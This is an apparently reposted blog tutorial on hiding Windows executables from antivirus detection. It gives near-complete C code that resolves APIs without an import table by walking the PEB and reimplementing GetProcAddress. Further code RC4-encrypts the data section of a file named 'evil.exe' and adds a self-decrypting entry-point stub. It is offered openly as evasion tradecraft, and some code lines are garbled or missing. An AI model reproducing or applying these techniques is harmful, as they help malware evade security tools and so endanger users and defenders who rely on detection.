I bet you have come across some software you’ve made which you didn’t want the AV to pick up. This article explains how to import from DLLs without having to call GetProcAddress, and also how to encrypt your data section. Anti-viruses rely heavily on their heuristics, if all other (signature) scans fail. The patterns they search for in your executable, are the functions being imported, and the order they are being called.
No imports!
Having no import table is relatively easy. There are however some functions I haven’t imported dynamically, but which are very normal in any application (libc functions).
The steps you need to do are:
- Get the kernel32 module base address. (kernel32.dll is always loaded when the process is started, and so is ntdll.dll)
- Make your own GetProcAddress
- Use it to find LoadLibrary’s address, so that you can load other DLLs
- Make the functions usable in a practical way, so that you don’t have to make a prototype for each of the functions that you will load
1. Get kernel32’s base address
The first step is easy. There are lots of methods out there to retrieve the kernel32 base address, whose list of supported platforms varies greatly. I will be retrieving the address using the PEB (the linked list of the modules’ initialization order). Code:
01 | void __declspec ( naked ) *kernel_addr() { |
You can use whichever method you want, really, as long as the end result is the kernel32 base address.
2. Our own GetProcAddress
If you have ever had to deal with the PE format, you’d know that the exports have three main structures. These are the address table, the name table, and the ordinal table. The address table is simply just an array with RVAs to functions. There is one entry for every function exported. To get the real address, you add that RVA to the base address of the module.
The name table, is another array with RVA’s to the names of the functions. The names are just strings of characters terminated by a null byte.
The problem is, the names’ index doesn’t always correspond to the functions’ index. To retrieve the index, you use the ordinal table. The ordinal table is basically just an array with an index to the corresponding function. For example EAT[0] might be the function with the name ENT[42]. In this case, EOT[42] has the value of 0. So, the ordinal table is just another table, which maps a name to a function, using the name’s index to retrieve the function’s index.
Code:
01 | void *my_gpa( HMODULE modl, char *fname) { |
02 | unsigned long modb = (unsigned long )modl; |
03 | IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)modb; |
04 | IMAGE_NT_HEADERS *nth = (IMAGE_NT_HEADERS *)(modb+dosh->e_lfanew); |
05 | IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(modb+nth->OptionalHeader.DataDirectory->VirtualAddress); |
08 | for (i = 0; i <>NumberOfNames; i++) { |
09 | const char *nn = (*( const char **)(ied->AddressOfNames+modb+i* sizeof ( void *)))+modb; |
11 | if (! strcmp (fname, nn)) { |
12 | unsigned short ordinal = *(unsigned short *)(ied->AddressOfNameOrdinals+modb+i* sizeof (unsigned short )); |
13 | return ( void *)((unsigned long )*( void **)(ied->AddressOfFunctions+modb+ordinal* sizeof ( void *))+modb); |
In our code, modb is the base address of the module. Using that, we make our way to the export directory (ied), which contains the RVAs to the three tables we need. They are ied->AddressOfNames, ied->AddressOfFunctions and ied->AddressOfNameOrdinals. There’s some pointer arithmetic going on there, along with some type casting. Our function works just like GetProcAddress. It takes a module base address, and a function name, and returns a function address. We iterate through each entry in the name table.
The string is retrieved through nn. (RVA of the table + base address + i*4)+base address – each entry in the table has the size of a word (32 bits = 4 bytes), so to get to the i’th entry, we add i*4. Once we’ve gotten to the i’th entry and dereferenced it, we add the base address to get the string’s address. If the name’s are the same, get the ordinal, the same way (except that one ordinal is the size of a short, 16 bits = 2 bytes). Then using the ordinal as an index, retrieve the address of the function and return it.
3. Getting LoadLibrary’s address
Easiest step. The code speaks for itself:
1 | HMODULE (__stdcall *dyn_ll)( LPCTSTR lpFileName); |
2 | dyn_ll = my_gpa(kern, "LoadLibraryA" ); |
4. Making it usable
You will probably want to load lots of functions, not just one or two. Writing the prototypes for all of them would be tedious. Let’s make an array of functions for each module we will load, then let’s also make a function to load the APIs into these arrays. I have used kernel32, user32, and winsock. Code:
04 | "GetEnvironmentVariableA" , |
11 | unsigned long (__stdcall *func_kernel[ sizeof (fn_kernel)/ sizeof (*fn_kernel)])(); |
15 | "GetForegroundWindow" , |
18 | unsigned long (__stdcall *func_user[ sizeof (fn_user)/ sizeof (*fn_user)])(); |
30 | unsigned long (WSAAPI *func_wsock[ sizeof (fn_wsock)/ sizeof (*fn_wsock)])(); |
32 | HMODULE (__stdcall *dyn_ll)( LPCTSTR lpFileName); |
34 | void *my_gpa( HMODULE modl, char *fname) { |
35 | unsigned long modb = (unsigned long )modl; |
36 | IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)modb; |
37 | IMAGE_NT_HEADERS *nth = (IMAGE_NT_HEADERS *)(modb+dosh->e_lfanew); |
38 | IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(modb+nth->OptionalHeader.DataDirectory->VirtualAddress); |
41 | for (i = 0; i <>NumberOfNames; i++) { |
42 | const char *nn = (*( const char **)(ied->AddressOfNames+modb+i* sizeof (unsigned long )))+modb; |
44 | if (! strcmp (fname, nn)) { |
45 | unsigned short ordinal = *(unsigned short *)(ied->AddressOfNameOrdinals+modb+i* sizeof (unsigned short )); |
46 | return ( void *)((unsigned long )*( void **)(ied->AddressOfFunctions+modb+ordinal* sizeof (unsigned long ))+modb); |
54 | HMODULE kern, user, wsock; |
58 | dyn_ll = my_gpa(kern, "LoadLibraryA" ); |
59 | user = dyn_ll( "user32.dll" ); |
60 | wsock = dyn_ll( "ws2_32.dll" ); |
62 | for (i = 0; i < sizeof (fn_kernel)/ sizeof (*fn_kernel); i++) |
63 | func_kernel[i] = my_gpa(kern, fn_kernel[i]); |
65 | for (i = 0; i < sizeof (fn_user)/ sizeof (*fn_user); i++) |
66 | func_user[i] = my_gpa(user, fn_user[i]); |
68 | for (i = 0; i < sizeof (fn_wsock)/ sizeof (*fn_wsock); i++) |
69 | func_wsock[i] = my_gpa(wsock, fn_wsock[i]); |
72 | int main( int argc, char *argv[]) { |
77 | func_user[0](0, "MessageBoxA has been called!" , "0wn3d." , MB_OK); |
78 | func_wsock[0](MAKEWORD(1, 0), &wsd); |
Simple. :)
Encrypting your data section
This method is really easy, and of course it’s not nearly as good as the average packer, but it keeps AVs away from your strings.
I have used the rc4 cipher, but any symmetric stream cipher would do. We need to encrypt it from another separate program, and have our program decrypt itself. Code for the encryption program:
06 | #define DATA ".data" // data section's name |
07 | #define KEY "DqHAI5VN" // encryption key |
08 | #define NEW 0x11c8 // new ep rva |
09 | #define REP 0x5e4 // offset to patch with the old ep |
11 | void rc4_ksched(unsigned char *key, unsigned long keylen, unsigned char sbox[0x100]) { |
15 | sbox[i] = (unsigned char )i; |
20 | j = (j + sbox[i] + key[i % keylen]) & 0xff; |
27 | void rc4(unsigned char sbox[0x100], unsigned char *src, unsigned char *dest, unsigned long len) { |
35 | j = (j + sbox[i]) & 0xff; |
41 | *dest++ = *src++ ^ sbox[(sbox[i] + sbox[j]) % 0xff]; |
45 | int main( int argc, char *argv) { |
46 | FILE *f = fopen ( "evil.exe" , "r+b" ); |
47 | IMAGE_DOS_HEADER dosh; |
49 | IMAGE_SECTION_HEADER sech, dummy; |
52 | memset (&dummy, 0, sizeof (dummy)); |
53 | fread (&dosh, 1, sizeof (dosh), f); |
54 | fseek (f, dosh.e_lfanew, SEEK_SET); |
55 | fread (&nth, 1, sizeof (nth), f); |
56 | fread (&sech, 1, sizeof (sech), f); |
57 | while ( memcmp (&sech, &dummy, sizeof (dummy))) { |
58 | if (! strcmp (sech.Name, DATA)) { |
59 | unsigned char sbox[0x100], *rd = malloc (sech.SizeOfRawData); |
62 | rc4_ksched(KEY, 8, sbox); |
63 | fseek (f, sech.PointerToRawData, SEEK_SET); |
64 | fread (rd, 1, sech.SizeOfRawData, f); |
65 | rc4(sbox, rd, rd, sech.SizeOfRawData); |
66 | fseek (f, sech.PointerToRawData, SEEK_SET); |
67 | fwrite (rd, 1, sech.SizeOfRawData, f); |
69 | epaddr = ((unsigned long )&nth.OptionalHeader.AddressOfEntryPoint-(unsigned long )&nth)+dosh.e_lfanew; |
70 | fseek (f, epaddr, SEEK_SET); |
73 | fseek (f, REP, SEEK_SET); |
74 | ep = nth.OptionalHeader.AddressOfEntryPoint+nth.OptionalHeader.ImageBase; |
79 | fread (&sech, 1, sizeof (sech), f); |
What it does is that it searches for the data section, and when found, it reads it into memory, encrypts it, and writes it back.
But to be able to decrypt it we must have some piece of code in our own executable, which will decrypt the data section using our key, and then jump back to the old entry point. Code:
01 | void decrypt_data(unsigned long mod) { |
03 | IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)mod; |
04 | IMAGE_SECTION_HEADER *sech = (IMAGE_SECTION_HEADER *)(mod+dosh->e_lfanew+ sizeof (IMAGE_NT_HEADERS)); |
05 | IMAGE_SECTION_HEADER dummy; |
13 | memset (&dummy, 0, sizeof (dummy)); |
14 | while ( memcmp (sech, &dummy, sizeof (dummy))) { |
15 | if (! strcmp (sech->Name, data)) { |
16 | unsigned char sbox[0x100], key[9]; |
27 | rc4_ksched(key, 8, sbox); |
28 | rc4(sbox, (unsigned char *)mod+sech->VirtualAddress, (unsigned char *)mod+sech->VirtualAddress, sech->SizeOfRawData); |
37 | void __declspec ( naked ) *gba() { |
45 | void __declspec ( naked ) new_ep() { |
46 | if (*(unsigned long *)magic != 'x86!' ) |
47 | decrypt_data((unsigned long )gba()); |
And in main:
01 | unsigned long nep_addr; |
03 | int main( int argc, char *argv[]) { |
06 | nep_addr = (unsigned long )&new_ep; |
09 | func_user[0](0, "MessageBoxA has been called!" , "0wn3d." , MB_OK); |
10 | func_wsock[0](MAKEWORD(1, 0), &wsd); |
We reference new_ep, because otherwise the optimizing compiler would notice that it is not called anywhere and would not generate code for it.
Here you will have to get some offsets. First compile the executable, and disassemble it. Find the RVA of new_ep, and put it in the encryption program source code. Then find the offset of the placeholder for the old entry point. The instruction will look like push 0×41414141. Add one to the address of that instruction, subtract the image base from it, subtract the RVA of the .text section from it, add the offset of the .text section to it, and there you have your offset. Now put it in the encryption source, compile it, run it, and everything is ready :)
Well, that was everything.
If you found this article helpful or have a question, feel free to post a comment.
reflink: http://www.x-n2o.com/clever-tricks-against-antiviruses/